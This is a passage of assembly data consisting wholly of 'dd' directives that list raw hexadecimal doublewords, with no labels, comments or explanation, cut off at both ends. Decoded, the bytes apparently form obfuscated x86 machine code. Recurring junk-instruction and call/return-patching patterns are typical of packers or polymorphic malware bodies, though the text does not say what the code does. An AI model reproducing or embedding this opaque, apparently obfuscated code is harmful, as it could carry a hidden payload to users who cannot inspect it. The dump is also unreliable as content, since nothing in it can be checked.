19042444h, 40000000h, 9911C350h, 74129B8Ch, 6820Fh dd 9D890000h, 60716ADh, 2D05BD83h, 0F030607h, 37D86h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 17B36060h, 6AD98C66h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 0F75FC351h, 0AEA1A8Ah dd 8A98531h, 95290607h, 60713E5h, 6A04E180h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 40A7C356h, 81D8C74Bh, 955386EFh, 0DF816627h, 0C90A5244h dd 141840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 8E0F71C3h, 6, 163D9D89h, 60600607h dd 78D9D89h, 85890607h, 607213Dh, 68E0F61h, 8B000000h dd 708C19Dh, 858B6106h, 6070629h, 8559D89h, 85330607h dd 6071E75h, 0A319D8Bh, 0F900607h, 0F8Dh, 6E800h, 0C1B00000h dd 0CD2D423Ch, 5BFE8B66h, 90DF8B50h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 0E6C35141h, 0E94B31CEh, 0Dh dd 6FF23215h, 847FBB2Bh, 233A2194h, 6A006A31h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 8EBAC353h, 0B8295E25h, 85BD096Ah, 31060726h, 726D995h dd 7E806h, 8BCD0000h, 75AB5BFAh, 890F48h, 5F000000h, 6F4D0E68h dd 8196B7A1h, 0B6F12404h, 0BB665EAFh, 95FFCA90h, 6071D01h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0CAC35747h dd 0BD89DE44h, 607060Dh, 0A6AD8589h, 0BF66060Ah, 6FE9A9AFh dd 0F000001h, 682h, 798D8900h, 8B06071Dh, 0AA6A585h, 0F8BF0F06h dd 0F45CAEBFh, 1800C77Dh, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0B0BCC351h dd 8BED1942h, 0AA6A9B5h, 6820F06h, 3000000h, 70DED9Dh dd 21858B06h, 6A06070Ch, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 0E228C356h, 0D73CA4E3h dd 13E902ADh, 11000000h, 0D0C869A6h, 9F4491AAh, 62D5DE5Bh dd 722432FFh, 6656AFF2h, 92E9CB81h, 11E95Fh, 44960000h dd 0ECBD939Ah, 0CB15D35Ah, 7303488Bh, 8943484Bh, 0F99D8B06h dd 8B060700h, 7062985h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 93B53D64h, 5E9h, 6137C200h dd 4689365Ch, 505BB704h, 28C0F60h, 60000000h, 34896161h dd 0D1BD8B24h, 0FF060710h, 0AA6A5B5h, 0C99D8B06h, 8B060707h dd 0F4FA68FBh, 0DE8B3275h, 5243481h, 8B326AF7h, 701CDBDh dd 0AD858D06h, 6A060AA6h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 617AC356h, 0C6FF9689h dd 8B50F8CBh, 240489DEh, 859D8957h, 5F060721h, 1D0195FFh dd 0BE90607h, 91000000h, 6E0254E8h, 3B633D32h, 6A617FC6h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 0C42EC352h, 6625B92Ch, 0EB4CDF81h, 2D0585C7h dd 30607h, 8B660000h, 0ADBD83FAh, 60AA6h, 14840Fh, 9D0B0000h dd 6071BB1h, 24E9h, 0DBB70F00h, 15919D29h, 30500607h, 4400110Ch dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 0DBD8BC0h dd 6A060713h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 0F29C353h, 35BD8BF8h, 8306071Eh dd 72D05BDh, 850F0306h, 3D3h, 86DBD29h, 0BD830607h, 60AA6ADh dd 0C0840F00h, 6A000003h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 3ED6C351h, 9E86068h dd 0D9000000h, 0B5341572h, 0A7985804h, 0E96159FCh, 14h dd 883D8926h, 0C9267F0Dh, 6535F915h, 0D11384DCh, 0E8886214h dd 0A6ADB5FFh, 0E957060Ah, 0Eh, 8BA21102h, 5F45C5C1h, 660DF9FDh dd 0FF5FBAB6h, 7043D95h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 2D6632E1h, 57DC569h, 7E8EE7Fh dd 6A000000h, 0E0EF0A83h, 0BF5B9A01h, 169F899Bh, 0A6A1B58Bh dd 0C7F5060Ah, 1000106h, 21CB8100h, 5044E3FEh, 0FE8h, 0E74DD100h dd 3D36E0CEh, 0CCBE655Fh, 0BAB54AD9h, 500E0BBh, 34895B01h dd 23F38124h, 0FF004EF9h, 0AA6ADB5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 2F78D56Ch dd 59BB6618h, 999D8BF7h, 0FF06072Ah, 71A5595h, 0F98B6606h dd 0A6A1B58Bh, 9D89060Ah, 60731D1h, 1389858Bh, 85090607h dd 60706E1h, 0C48689h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 0BE4970C3h, 0B0416FC8h dd 0CB8028B3h, 79958B99h, 0F060706h, 0C283DFBFh, 5089F804h dd 1F858D20h, 6A060ABAh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 4271C353h, 52D8589h dd 86890607h, 0B8h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 46C35040h, 39688575h, 1031BD2Bh, 9D890607h dd 60727A9h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 855963C3h, 0FCA72804h, 0A6ADB5FFh dd 0FD8A060Ah, 1AF995FFh, 6A0607h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 0A0F0D9C3h, 2348AB90h dd 8B660DFFh, 59529FAh, 50060728h, 8E9h, 5CD2CD00h, 0F2827AD9h dd 2434891Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 0F0C35242h, 0FE8BE319h, 0A6ADB5FFh dd 0BD8B060Ah, 6071D61h, 152995FFh, 6A0607h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 0BD8311C3h dd 60712A5h, 3F840F00h, 52000000h, 1E098509h, 965B0607h dd 99B75250h, 6653310Fh, 5A5FD98Bh, 9BB35058h, 55006A96h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0BCEFD641h, 0FDFF5323h, 0B5FFFE8Bh, 60AA6ADh, 0FFDFBF0Fh dd 7055595h, 0C19D0B06h, 0F9060711h, 0A6ADB5FFh, 6A060Ah dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 4BBC57C3h, 0F5E36963h, 0CADB8041h, 1FF995FFh, 13E80607h dd 57000000h, 40906F91h, 5BB2FEDAh, 8B4AAFE3h, 48819CA9h dd 8D0983A9h, 6072D31h, 1DBD835Fh, 206071Fh, 5A840Fh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 18EAC0C3h, 858BE4B7h, 60706DDh, 31C1B589h, 0C60607h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 4116D1A5h, 25E9BD29h, 0BD8B0607h, 6071B29h dd 269185C7h, 607h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 0E9C276C3h, 0FFFFF49Dh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 49C35242h dd 9ECDA7A1h, 81902E78h, 543E2AF3h, 459D8B5Bh, 8B060702h dd 53006AC1h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 3B5A04FFh, 0ADBD8B7Fh, 8D060716h, 7078585h dd 0FFBF0F06h, 0C1BB6650h, 24048999h, 8B60D98Bh, 704D9BDh dd 61EBB706h, 0B7F5006Ah, 8D006AEDh, 0BFC5C85h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 846DE890h, 735A8C82h, 8905C083h, 7317995h, 5E85006h dd 0F2000000h, 5AB1BCA5h, 0AE8h, 9EA36300h, 41309F6h, 5FFF5BAEh dd 2404895Fh, 58A0Fh, 66520000h, 6A5FD88Bh, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 8166E870h, 6A9AEFCFh, 919D2B00h, 0FF06071Ah, 704C195h dd 618D8906h, 8D060721h, 0AA64F8Dh, 4D8D8906h, 0BF060708h dd 285C42F6h, 0BB66D1FFh, 0F381EACAh, 5EBD7201h, 218DBD83h dd 0F010607h, 9985h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 955CEE06h, 61D6EB0Fh dd 0BF6656CDh, 0B75BC4D0h, 6A026A81h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 4269C352h dd 5D54E9D8h, 0B5315652h, 6072BEDh, 0BF66505Fh, 48995C7h dd 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 7C6732E8h, 0A6B36913h, 9D8B696Bh, 6070B61h dd 1AF995FFh, 890F0607h, 2, 9EE9D88Bh, 0E800000Bh, 0 dd 66ED815Dh, 1060BFCh, 70101B5h, 0EF816606h, 858D8525h dd 60A9108h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 47C35343h, 7E9E4h, 747E0000h, 14A014FFh, 665350A3h dd 895BD88Bh, 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 0ECE49AC3h, 0DD7C1913h, 0CDB5891Bh dd 64060701h, 35FFh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 3DD0F1C3h, 34F992C9h dd 49BD8B79h, 6406071Dh, 2589h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 0BF6610C3h dd 0DF8BE260h, 32F185FFh, 85890607h, 60710ADh, 6AFF6Ah dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 1EE9C2C3h, 0BD011E2Eh, 6071EA1h, 1B45B5FFh, 8E0F0607h dd 3, 0FFDFB70Fh, 71AC995h, 102E906h, 0BD8B0000h, 6072E81h dd 853100B0h, 6070A8Dh, 0BD8970E6h, 6072FADh, 0C1BB71E4h dd 3C1475A1h, 0DD830F61h, 8A000000h, 0C8B60FDCh, 9E8h dd 0B3DA1F00h, 15641369h, 9D895836h, 6070FB5h, 6BA5Bh dd 0D3810000h, 42355963h, 8589C18Bh, 60727FDh, 0F904E8C1h dd 80E2F766h, 0C82B42D3h, 26399D89h, 0D18B0607h, 0CE9h dd 30102800h, 4B492784h, 400CDABEh, 86E986h, 858B0000h dd 47554C50h, 7C083F9h, 6A99D89h, 0BD8B0607h, 6071E89h dd 2900C083h, 7060DB5h, 0FD03B06h, 0F83h, 359D0300h, 0E9060728h dd 54h, 9808BB66h, 0FFFF8D8Bh, 12E8FFFFh, 0A6000000h, 798D73EDh dd 699FE2CCh, 0A9EB6847h, 0D588D5BCh, 5800F6Ch, 66000000h dd 0A48EF381h, 1E1835Bh, 1E840Fh, 0BD8B0000h, 6070689h dd 0FFFFA583h, 9FEFFFFh, 726D5BDh, 50958906h, 0E947554Ch dd 0 dd 787EB58Dh, 6A060Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 77A06DC3h, 6CD47814h, 48A0Fh, 0BF660000h dd 6AD537h, 7E9h, 0EFF0E00h, 757FF2A2h, 1B71BF66h, 16B595FFh dd 29500607h, 708CD9Dh, 0DE95B06h, 0CB000000h, 304962Ch dd 0A8D33FCFh, 0C32D70FEh, 10B4B9h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0FCE183F3h dd 0D6CB8166h, 0BD8BFC11h, 6072EA5h, 0B589C02Bh, 6072705h dd 6AD22Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 0F092BC3h, 33ADDAB7h, 3E8D1C2h, 4E983D0h dd 40B3F475h, 55006AF9h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 0B10DB2F0h, 0B0D30739h, 7819529h dd 880D0607h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 1378C356h, 0B70F9D45h dd 79958BFBh, 8B060706h, 72D49BDh, 0E58D8B06h, 5606072Ch dd 6840Fh, 0BD8B0000h, 6072791h, 0C28B505Fh, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0DF74C351h dd 0DCBB52E0h, 5B4BB3D4h, 8D958B60h, 60060703h, 8E9h, 0A640EC00h dd 5BC517AAh, 616160ACh, 0E5BD8361h, 60710h, 51840Fh, 8E0F0000h dd 6, 0ECF381h, 0BD033D69h, 6070B0Dh, 0B8h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 0C97D21E1h, 310C40D2h, 71FF595h, 1C8D8D06h, 6606074Eh dd 66F183BFh, 0FF0E12BBh, 83FB8BE1h, 72D05BDh, 840F0006h dd 379h, 0CE9h, 0ED694500h, 1D2B02Ch, 0CEE3EC94h, 5BD83C4h dd 106072Dh, 376840Fh, 9D330000h, 6072AB9h, 2D05BD83h dd 0F030607h, 32D86h, 68E0F00h, 23000000h, 71AE1BDh, 85896006h dd 6070669h, 1CD19D8Bh, 8C660607h, 89D98BD9h, 702D98Dh dd 4E18006h, 16698589h, 0C90A0607h, 120840Fh, 0BB660000h dd 95297513h, 6071399h, 629858Bh, 6A0607h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 0BD8B1EC3h dd 6070E71h, 0ED77BB66h, 1E758533h, 0DF8B0607h, 9D2DBF90h dd 8A501952h, 6A90FDh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 0FD8AB1C3h, 20119D03h, 0BD890607h dd 6070B7Dh, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 0E298ADC3h, 8B1E71B3h, 720E59Dh dd 521C6806h, 0E960469Eh, 0Fh, 811611AEh, 91F9902h, 0BEEC01FAh dd 0B180ED75h, 3481612Ah, 8151E324h, 0FFDE8B46h, 71D0195h dd 6ED78006h, 0A6AD8589h, 6A060Ah, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 0D781C3C3h, 3242A896h dd 0A3D08060h, 4F98D89h, 0E9610607h, 1B5h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0B4C35545h, 858BDE69h dd 60AA6A5h, 0E5850156h, 5B060732h, 1800C7h, 95010000h dd 6070E59h, 0A6A9B58Bh, 9529060Ah, 6070E85h, 0C21858Bh dd 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 0A01546C3h, 278E4C0Fh, 10820Fh, 5E80000h dd 7F000000h, 7DF8F143h, 2D78166h, 81665B5Bh, 895B1EDFh dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 0E7FF7DE7h, 8B30A050h, 7062985h, 9D9D3106h dd 89060732h, 5E80446h, 21000000h, 7B00CFFEh, 7A10BF66h dd 6060965Fh, 48FF79BBh, 52506123h, 55C8B866h, 0FFBE310Fh dd 5A2ED0D8h, 96506158h, 1EBF6650h, 0B5FF5F2Ah, 60AA6A5h dd 7E9h, 8218EF00h, 0C64D7658h, 82E1CC68h, 5252507Fh, 0F5B61B7h dd 0F525031h, 7DBB6631h, 5A585AC1h, 24348158h, 7F9DE233h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 2DC35343h dd 8DBE34C8h, 8D475B96h, 0AA6AD85h, 0D88B6606h, 0B810F90h dd 0E8000000h, 5, 33531708h, 0E8505BA2h, 0Dh, 89C62D85h dd 0D8276D9Dh, 3CE61594h, 66525019h, 310FF98Bh, 860Fh dd 585A0000h, 6A905Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 89BA8BC3h, 726ED8Dh, 0FF75B306h dd 71D0195h, 6870F06h, 89000000h, 722859Dh, 0BD8B6106h dd 60704F9h, 2D0585C7h, 30607h, 66530000h, 5FFA92BFh, 0A6ADBD83h dd 0F00060Ah, 1D84h, 0B6E38100h, 0E93B86A9h, 2Dh, 0DE9h dd 0DE9D8000h, 0C1C4C9E7h, 6303B8C8h, 30501061h, 4400110Ch dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 15BD0BC0h dd 6A060700h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 0E70EC357h, 892BDEB9h, 71BF18Dh dd 5BD8306h, 306072Dh, 36E850Fh, 8F0F0000h, 6, 8D98D31h dd 0BD830607h, 60AA6ADh, 55840F00h, 6A000003h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 0B1C4C351h, 0B5FF6A52h, 60AA6ADh, 71E78166h, 3D95FF6Ah dd 6A060704h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 8B05C352h, 0AA6A1B5h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 27BC53F2h, 8D950171h, 0C7060728h, 1000106h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 87D03B45h, 120E2F3Eh, 9E9h, 29BDBE00h, 0DD0CCD9Dh, 8B963E6Bh dd 666050DEh, 0BB43D1BBh, 715AEEB6h, 6A9661h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 5A3607C3h dd 0A6ADB5FFh, 95FF060Ah, 6071A55h, 0A1B58BF8h, 6A060AA6h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 7A7C352h, 1E83DEE1h, 9D8BF000h, 607082Dh dd 0D104E781h, 858B4B2Bh, 6071389h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 14C35646h, 0B2C684A1h, 63F6E873h dd 282CBEBFh, 0C4868962h, 8B000000h, 70FFDBDh, 79958B06h dd 89060706h, 705898Dh, 0DE8B6606h, 6A04C283h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 353DC357h, 0BC213E41h, 0F22706Dh, 5089F8BFh, 55006A20h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 7A172917h, 8B87DD50h, 706A9BDh, 1F858D06h, 89060ABAh dd 71ABD9Dh, 13E906h, 576F0000h, 9BC0B558h, 8E149D26h dd 24B5D41Fh, 0BF90142Fh, 0B88689F8h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 50C9C356h dd 0EE87F32h, 8F000000h, 0C5398F9Ch, 8F9E7A0Dh, 0A54C3C8Bh dd 2820F56h, 0B7000000h, 95895F6Bh, 6072599h, 0BF0F006Ah dd 0ADB5FFFAh, 8B060AA6h, 7227DBDh, 0F995FF06h, 8906071Ah dd 70E3185h, 0EABF9606h, 5049EF74h, 5FF88B50h, 57006A96h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0F8263CEh, 680h, 6DB58900h, 0F06072Ah, 0B5FFFFB7h, 60AA6ADh dd 21C5BD8Bh, 95FF0607h, 6071529h, 6800Fh, 9D0B0000h, 6070C9Dh dd 12A5BD83h, 0F000607h, 1084h, 8A0EBB00h, 8A503640h, 243489D9h dd 8B8ACABFh, 0ADB5FF4Dh, 0FC060AA6h, 55595FFh, 0BD8B0607h dd 60707F1h, 0A6ADB5FFh, 8051060Ah, 0FF5F3CDBh, 71FF995h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 6E96048h, 3000000h, 0F5CE62AAh, 0CC80604Eh dd 4F80BE60h, 61617DA9h, 1DBD83F9h, 206071Fh, 1A840Fh dd 0F600000h, 8B61C0B7h, 706DD85h, 0B59D8B06h, 0C606071Ch dd 95290000h, 6070045h, 269185C7h, 607h, 8C0F0000h, 6 dd 306DBD2Bh, 0BD0B0607h, 60710F5h, 0FFF567E9h, 53006AFFh dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 24A8E974h, 684BD370h, 8BC18BCFh, 85858DDAh, 8B060707h dd 0BB6690FBh, 8B50DC90h, 0BD8B90FAh, 6071B25h, 6A006Ah dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 6AA0C3h, 3840Fh, 0BF0F0000h, 0B9858DFEh, 6A060C09h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 0C268C350h, 89C368EFh, 70A598Dh, 5C08306h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0E0C35141h dd 8E568FB3h, 2860F49h, 8B000000h, 4860FFAh, 66000000h dd 506989BBh, 6E9h, 0BC056800h, 89221411h, 6A2404h, 3E850h dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 81C7AAC3h, 5E9h, 427E4800h, 6A4C67h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 17h, 5FC35646h, 89005787h dd 7282585h, 0E9006A06h, 7, 1E9144E3h, 0E98624C6h, 7, 0DC3631B3h dd 0FF4A9ECFh, 704C195h, 0AE906h, 0F34D0000h, 4C216EA3h dd 65217918h, 0A64F8D8Dh, 0DE8A060Ah, 6AD1FFh, 3E850h dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 8513B8C3h, 0C0CFBE66h, 0A9BD8960h, 8B060730h, 72C85BDh dd 0BD836106h, 607218Dh, 44850F01h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 3295C351h, 26699589h, 26A0607h, 0B158589h, 0F500607h dd 289h, 89FA8A00h, 0FFF92404h, 71AF995h, 759D8B06h, 0E9060714h dd 0F14h, 0E8h, 0ED815D00h, 60C09C3h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 0D5C35545h, 60817C3Dh, 8E9h dd 0BE9DA000h, 0F5790434h, 9595039Fh, 61060703h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 9DC35343h, 13EDB589h dd 858D0607h, 60A9108h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 87C35646h, 43B88812h, 1A2C4FF8h, 6840Fh dd 85890000h, 6070415h, 0B9506050h, 2F1674FFh, 0FE8B665Ah dd 24048961h, 25BD2360h, 6606071Bh, 6461D18Bh, 35FFh, 0BF660000h dd 8964A361h, 25h, 0DF8B6600h, 32F185FFh, 6A0607h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 0FEC317C3h, 6870Fh, 8D890000h, 6073199h, 0BD8BFF6Ah dd 607285Dh, 139DB5FFh, 6A0607h, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 0F943CBC3h, 1AC995FFh dd 28E90607h, 60000001h, 2681BD29h, 0B5090607h, 60700C5h dd 6600B061h, 6ABBE781h, 9D8970E6h, 60709E5h, 0BB6671E4h dd 0DF8B1050h, 830F613Ch, 0FBh, 0EE9h, 1CBFD400h, 1A7CA0ACh dd 1F9B372Ch, 0F96711Bh, 8166C8B6h, 0BA4EFFCFh, 6, 8BFFB70Fh dd 14E9C1h, 0B1DE0000h, 0EF8ADAA4h, 802A7E60h, 0D508CE5Fh dd 128332ECh, 0E8C13EACh, 0E2F76604h, 201D8529h, 0C82B0607h dd 5850Fh, 81660000h, 8B4C01EFh, 0CE9D1h, 70CC0000h, 4E77DA2Bh dd 45EDF801h, 8CE970F7h, 80000000h, 858B43E7h, 44004E49h dd 18E0Fh, 0F9FC0000h, 0F07C083h, 0C083DEBFh, 85895000h dd 6072535h, 0FD03B5Fh, 1783h, 8D896000h, 6071FF5h, 61C28B66h dd 52E9h, 81665100h, 5FEC2AC3h, 0FFFF8D8Bh, 0CE8FFFFh dd 0CC000000h, 780708C0h, 0D9024151h, 66BA7E70h, 835FD98Bh dd 840F01E1h, 27h, 4F9B589h, 0A5830607h, 0FFFFFFFFh, 0DDBD8BFEh dd 89060721h, 4E4995h, 3880F44h, 66000000h, 0E9D98Bh, 8D000000h dd 0B8932B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 0B7B0775Ch, 292D798Ch, 70E059Dh dd 81665206h, 5B3695F3h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 0E38097C3h, 0B595FF63h dd 0B9060716h, 1095h, 0BE8h, 0A99E8C00h, 0A0B61C09h, 461E11E6h dd 2D8D8960h, 0F906071Eh, 0E1835F61h, 8E9FCh, 0FCCC0000h dd 55FDE3F1h, 81FC9BFEh, 202ABFDFh, 6AC02B6Ah, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 0F3B1C351h, 8B669767h, 0E9D22BFAh, 12h, 48275D73h, 64987F9Fh dd 407B2D38h, 0A6545CDFh, 33ADAB36h, 3E8D1C2h, 4E983D0h dd 6AF475h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 2350C9C3h, 71315BDh, 0FE8B5F06h, 880Dh, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 24F2E71h, 0D9098C67h, 0D3809CEDh, 79958B14h, 6A060706h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 8920C356h, 2CE58D8Bh, 830F0607h, 0Dh, 8E9h dd 855A5600h, 86A4DD87h, 0C28B50CAh, 0C103188Bh, 0C18B188Bh dd 0C203E8D1h, 8958188Bh, 7286D85h, 6E906h, 595F0000h dd 4D80C8B9h, 10E5BD83h, 0F000607h, 8D84h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 8D6CD09Ah, 6165386Ch, 27C9BD0Bh, 0B80607h, 0BB000000h dd 72560BF9h, 4E1C8D8Dh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 60B07AC3h, 38C0Fh, 0C1800000h dd 2840F04h, 56000000h, 0E1FF615Ah, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 0ABC35141h, 0E918589h, 0BD830607h dd 6072D05h, 0BA840F00h, 6A000004h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 5E8EC356h dd 76F0BB66h, 8312E780h, 72D05BDh, 840F0106h, 4A4h, 6DDF8166h dd 5BD83EBh dd 306072Dh, 45C860Fh, 0BD230000h, 60725F9h, 0DFB70F60h dd 66D98B66h, 6AD98Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 60272EC3h, 4880Fh, 0BB660000h, 95013430h dd 6072FD5h, 4E18061h, 0D242C781h, 0C90A541Bh, 1AA840Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 8E98F9C3h, 0E844CCDBh, 858BFA91h, 6070629h dd 2CE18D89h, 9D8B0607h, 60706C1h, 1E758533h, 6A0607h dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 0F98BA0C3h, 17880F50h, 50000000h, 0FD98B52h, 0AE931h dd 61BC0000h, 8A1EADBBh, 8AD3014Bh, 489585Ah, 56006A24h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 47A1E90Fh, 369AF910h, 62B7ABF7h, 6A006Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 418B22C3h dd 21D78166h, 0A168FCC2h, 66C08AF2h, 481F88Bh, 94115E24h dd 51006A3Fh, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 195FF0Ah, 6A06071Dh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 98CDC353h dd 27E80A02h, 0AC7CD2ADh, 3EFEE781h, 9D893612h, 6072835h dd 0A6AD8589h, 6A060Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 87A39AC3h, 